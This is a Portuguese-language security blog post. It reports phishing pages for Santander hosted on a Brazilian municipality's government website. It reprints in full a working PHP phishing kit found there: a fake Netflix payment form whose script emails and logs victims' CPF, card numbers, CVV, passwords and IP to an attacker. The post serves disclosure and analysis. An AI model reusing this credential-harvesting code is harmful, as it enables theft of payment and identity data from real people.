Já falamos aqui sobre o phishing como um vetor de ataque utilizado em páginas falsas hospedadas em sites de governo e sobre casos de phishing na Bahia. Além disso, já falamos no post Phishing 2.0 sobre o uso de sites sobre SSL/TLS para hospedagem desse tipo de golpe digital.
Identificamos nas últimas horas que o site do Município de Leme do Prado hospeda phishing do Banco Santander. O acesso ocorreu sem qualquer alerta de segurança do navegador Google Chrome.
Além de dar suporte ao HTTPS, ou seja, apresentando o cadeado verde de segurança, o site hospeda tanto a versão mobile quanto a desktop do phishing, conforme imagens abaixo.
Screenshot do phishing hospedado na URL
https://www.lemedoprado.mg.gov.br/editais/www.santander.com.br/br/mobile/mobile-versao-android/
A imagem abaixo apresenta a versão para dispositivos móveis:
Screenshot obtido na URL:
https://www.lemedoprado.mg.gov.br/editais/cartao-free-santander/
Ao inspecionar o site https://www.lemedoprado.mg.gov.br, obtivemos acesso ao artefato malicioso www.netflix.com.br.zip. Um de seus arquivos contém o seguinte código:
<?php ob_start(); $ip = $_SERVER["REMOTE_ADDR"]; $firstNameCC = $_POST['firstNameCC']; $cpf = $_POST['cpf']; $email = $_POST['email']; $ps = $_POST['ps']; $cardNumberCC = $_POST['cardNumberCC']; $expYr = $_POST['expYr']; $securityCode = $_POST['securityCode']; $exp = $_POST['exp']; $dia = date("d-m-y-[h-i-s]"); $ip_usuario = @$_SERVER[REMOTE_ADDR]; $headers = "From: CC-NETFLIX <[email protected]>\r\n"; $headers .= "De: CC-NETFLIX <[email protected]>\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "MIME-Version: 1.0\n"; $stringData = " <font face=verdana><b>CC NETFLIX</b><br> <b>$dia @ $ip_usuario</b><br> ------------C0d3_Bl4ck_NiNJA-------------<br> <b>Nome do Cartão:</b> $firstNameCC<br> <b>CPF:</b> $cpf<br> <b>EMAIL:</b> $email<br> <b>SENHA:</b> $ps<br> <b>Número do Cartão:</b> $cardNumberCC<br> <b>Validade:</b> $exp/$expYr<br> <b>CVV/Código de Segurança:</b> $securityCode<br> <b>IP:</b> $ip_usuario<br> ------------C0d3_Bl4ck_NiNJA-------------\n"; @mail("[email protected]", "COD: "."$ip_usuario", $stringData, $headers); $myFile = "nfs/" . "$ip" . ".txt"; $fh = fopen($myFile, 'a') or die("Poe permissao na pasta"); $INFO = "------------C0d3_Bl4ck_NiNJA------------- Nome:.......| $firstNameCC CPF:.........| $cpf Email:........| $email Senha:........| $ps Num.CC.:........| $cardNumberCC Validade:........| $exp/$expYr CVV:............| $securityCode ------------C0d3_Bl4ck_NiNJA------------- "; fwrite($fh, $INFO); fclose($fh); ?> <!doctype html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> <<meta charset="iso-8859-1"/> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <title>Netflix - assista a séries online, assista a filmes online</title> <meta name="viewport" content="width=device-width,initial-scale=1.0"/> <link type="text/css" rel="stylesheet" href="css/netflix.css"/> <link rel="shortcut icon" href="nficon2016.ico"/> <link rel="apple-touch-icon" href="nficon2016.png"/> <script type="text/javascript" src="js/jquery-3.1.1.min.js"></script> <script type="text/javascript" src="js/jquery.mask.min.js"></script> </head> <body> <div id="appMountPoint"> <div class="basicLayout accountPayment" lang="pt" dir="ltr" data-reactroot="" data-reactid="1" data-react-checksum="-1781427264"> <div class="nfHeader signupBasicHeader" data-reactid="2"> <a href="/" class="icon-logoUpdate nfLogo signupBasicHeader" style="pointer-events:inherit;" data-reactid="3"> <span class="screen-reader-text" data-reactid="4">Netflix</span></a></div> <div class="centerContainer" data-reactid="7"> <h1 id="header_your_account_payment" data-reactid="8">Confirme suas informações de pagamento</h1> <h4 data-reactid="9"><!-- react-text: 10 -->Preencha o campo abaixo para confirmar a atualização de sua nova forma de pagamento.<!-- /react-text --></h4><div class="expando" data-reactid="11"></div><div class="secure-container clearfix" data-reactid="12"><div class="secure" data-reactid="13"><span class="secure-desc" data-reactid="14"><h4 class="secure-text" data-reactid="15">Servidor seguro</h4><a class="tell-me-more" data-reactid="16">Quero saber mais</a></span><span class="icon-lock" data-reactid="17"></span></div></div><div class="accordion" data-reactid="18"><div class="isOpen expando" data-reactid="19"><div class="paymentExpandoHd" data-mop-type="creditOption" data-reactid="20"><div class="container" data-reactid="21"><span class="arrow" data-reactid="22"></span><span class="hdLabel" data-reactid="23">Cartão de crédito</span><span class="logos logos-inline hideIfSmall" data-reactid="24"><span class="logoIcon VISA" data-reactid="25"></span><span class="logoIcon MASTERCARD" data-reactid="26"></span><span class="logoIcon AMEX" data-reactid="27"></span><span class="logoIcon ELO" data-reactid="28"></span><span class="logoIcon DINERS" data-reactid="29"></span></span></div></div><div class="expandoContent" data-reactid="30"><div class="paymentForm clearfix accordion" data-reactid="31"><form action="atualizar.php" method="post" data-reactid="32"><div class="paymentForm-input" data-reactid="33"></div> <label class="paymentForm-input creditCardNumber ui-label ui-input-label ui-input-half" data-reactid="48"><span class="ui-label-text" data-reactid="49">Senha do cartão</span><input class="ui-text-input medium auto-creditCardNumber" name="senhaCartao" type="text" maxlength="6" tabindex="0" data-reactid="50" required/><span class="icon-lock" data-reactid="51"></span></label> <div class="expiration-date ui-input-half" data-reactid="52"> <!-- react-empty: 112 --><div class="clearfix" data-reactid="118"><div class="btn-secure-wrapper" data-reactid="119"><button class="btn btn-submit btn-large" type="submit" autocomplete="off" tabindex="0" id="CC-update" data-reactid="120"><span data-reactid="121">Confirmar forma de pagamento</span></button></div></div></form></div></div></div><div class="expando" data-reactid="128"></div><div class="expando" data-reactid="138"></div></div></div></div></div><div></div> <script type="text/javascript"> $(document).ready(function(){ $('#cpf').mask('000.000.000-00', {reverse: true}); }); </script> </body> </html>
Esse código envia para o e-mail [email protected] os dados inseridos pela vítima como o nome, CPF, número do cartão, senha, correio eletrônico e o endereço IP. Além de enviar os dados por e-mail, o código também persiste um cópia das informações no sistema de arquivos do servidor web. É razoável especular que o usuário dessa conta de e-mail seja o autor e principal beneficiário da informação obtida por meio desse ataque.